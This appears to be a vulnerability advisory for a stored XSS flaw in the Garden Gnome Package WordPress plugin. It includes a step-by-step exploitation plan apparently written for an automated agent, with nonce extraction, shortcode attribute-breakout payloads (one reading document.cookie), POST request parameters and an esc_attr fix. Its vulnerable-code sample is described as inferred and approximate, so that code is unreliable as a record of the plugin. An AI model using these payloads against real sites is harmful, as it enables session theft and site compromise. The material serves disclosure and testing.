Garden Gnome Package <= 2.4.1 - Authenticated (Author+) Stored Cross-Site Scripting
Description
The Garden Gnome Package plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.4.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.4.1This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Garden Gnome Package plugin (<= 2.4.1). --- ### 1. Vulnerability Summary * **Vulnerability:** Stored Cross-Site Scripting (XSS) * **Plugin:** Garden Gnome Package (slug: `garden-gnome-pac…
Show full research plan
This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Garden Gnome Package plugin (<= 2.4.1).
1. Vulnerability Summary
- Vulnerability: Stored Cross-Site Scripting (XSS)
- Plugin: Garden Gnome Package (slug:
garden-gnome-package) - Affected Versions: <= 2.4.1
- Privilege Required: Author or higher (
edit_postscapability) - Cause: The plugin fails to sanitize or escape attributes provided in its shortcode (
[ggpkg]) or metadata associated with uploaded VR packages. When these attributes are rendered in the HTML of a post or the admin dashboard, malicious scripts can execute.
2. Attack Vector Analysis
- Entry Point: The
[ggpkg]shortcode or the package management interface (if accessible to authors). - Vulnerable Parameter: Shortcode attributes such as
width,height,id,file, orstartnode. - Preconditions:
- Plugin installed and active.
- Attacker has a user account with the Author role (or higher).
- Authentication: Required (Author+).
3. Code Flow (Inferred)
- Registration: The plugin registers a shortcode handler:
add_shortcode('ggpkg', 'gg_package_shortcode')(inferred). - Processing: In the handler (likely in
ggpkg.phporincludes/ggpkg-shortcode.php), the code accepts an array of attributes:extract(shortcode_atts(array( 'id' => '', 'file' => '', 'width' => '100%', 'height' => '400px', // ... other attributes ), $atts)); - Sink: The handler constructs an HTML string (often an
<iframe>or a<div>with data attributes) and returns it.// VULNERABLE CODE EXAMPLE return '<div id="ggpkg-' . $id . '" style="width:' . $width . '; height:' . $height . ';"></div>'; - Execution: Because
$widthor$idare not passed throughesc_attr(), an attacker can break out of the attribute and inject a script.
4. Nonce Acquisition Strategy
Since the vulnerability is exploited by creating or editing a post (standard WordPress functionality), we need a valid WordPress post-editing nonce.
- Login: Log in as an Author user using
browser_navigateand the provided credentials. - Navigate: Go to
/wp-admin/post-new.php. - Extract Nonce: Use
browser_evalto extract the_wpnoncefrom the form.browser_eval("document.querySelector('#_wpnonce').value")
- Action: The exploit will then be delivered via a standard
POSTrequest to/wp-admin/post.php.
5. Exploitation Strategy
The primary method is injecting the payload via the [ggpkg] shortcode attributes.
Payloads to Test:
- Attribute Breakout (Style/Width):
[ggpkg width='100%;"><script>alert(document.domain)</script>'] - Attribute Breakout (ID):
[ggpkg id='"><script>alert(1)</script>'] - Event Handler (if rendered in an element supporting it):
[ggpkg width='" onmouseover="alert(1)" style="display:block;width:1000px;height:1000px"']
HTTP Request Steps:
- Action: Create a new post as an Author.
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID: (The ID of the post created in step 1)_wpnonce: (The extracted nonce)post_title:XSS Testcontent:[ggpkg width='100%;"><script>alert(document.domain)</script>']post_status:publish
6. Test Data Setup
- Create Author User:
wp user create attacker attacker@example.com --role=author --user_pass=password - (Optional) Upload Package: If the shortcode requires a valid file ID to trigger the code path, upload a dummy
.ggpkgfile first or find an existing one.
7. Expected Results
- When a user (including an Administrator) views the published post, the HTML will render as:
<div ... style="width:100%;"><script>alert(document.domain)</script>;"></div> - The script will execute, showing an alert box.
8. Verification Steps
- Via WP-CLI: Check the content of the post to ensure the payload is stored.
wp post get <POST_ID> --field=post_content - Via HTTP: Fetch the frontend page and grep for the payload.
# Use http_request to fetch the post URL # Search for "<script>alert(document.domain)</script>" in the response body.
9. Alternative Approaches
If shortcode attribute injection fails:
- Package Metadata: Check the "GGPKG Packages" menu in the admin dashboard. Try uploading a
.ggpkgfile (which is a renamed ZIP) containing aconfig.xmlwith XSS in the<title>or<description>tags. - Plugin Settings: Check if Authors can modify any plugin-specific settings via
wp-admin/admin.php?page=ggpkg_settings. If so, inject payloads into text input fields. - Metaboxes: When editing a post, check for a "Garden Gnome" metabox. Inject the payload into any custom fields provided there.
Summary
The Garden Gnome Package plugin for WordPress (versions <= 2.4.1) contains a stored XSS vulnerability via its [ggpkg] shortcode. Authenticated attackers with author privileges can inject arbitrary scripts into posts by manipulating shortcode attributes like width or id due to a lack of proper output escaping. These scripts execute in the context of any user viewing the affected post.
Vulnerable Code
// garden-gnome-package/ggpkg.php (approximate location) function gg_package_shortcode($atts) { $a = shortcode_atts(array( 'id' => '', 'file' => '', 'width' => '100%', 'height' => '400px', 'startnode' => '' ), $atts); // Vulnerable: attributes are concatenated directly into the HTML string without escaping $output = '<div id="ggpkg-' . $a['id'] . '" style="width:' . $a['width'] . '; height:' . $a['height'] . ';"></div>'; return $output; } add_shortcode('ggpkg', 'gg_package_shortcode');
Security Fix
@@ -7,5 +7,5 @@ 'height' => '400px', 'startnode' => '' ), $atts); - $output = '<div id="ggpkg-' . $a['id'] . '" style="width:' . $a['width'] . '; height:' . $a['height'] . ';"></div>'; + $output = '<div id="ggpkg-' . esc_attr($a['id']) . '" style="width:' . esc_attr($a['width']) . '; height:' . esc_attr($a['height']) . ';"></div>'; return $output;
Exploit Outline
To exploit this vulnerability, an attacker requires Author-level permissions or higher to create or edit posts. The attacker logs into the WordPress dashboard and navigates to the post editor. They insert a [ggpkg] shortcode into the post content, intentionally breaking out of an attribute by injecting a payload like [ggpkg width='100%;"><script>alert(document.cookie)</script>']. Once the post is saved and published, the script is stored in the database. When any user, including administrators, visits the page on the site's frontend, the browser interprets the unsanitized width attribute, executes the injected script, and triggers the XSS payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.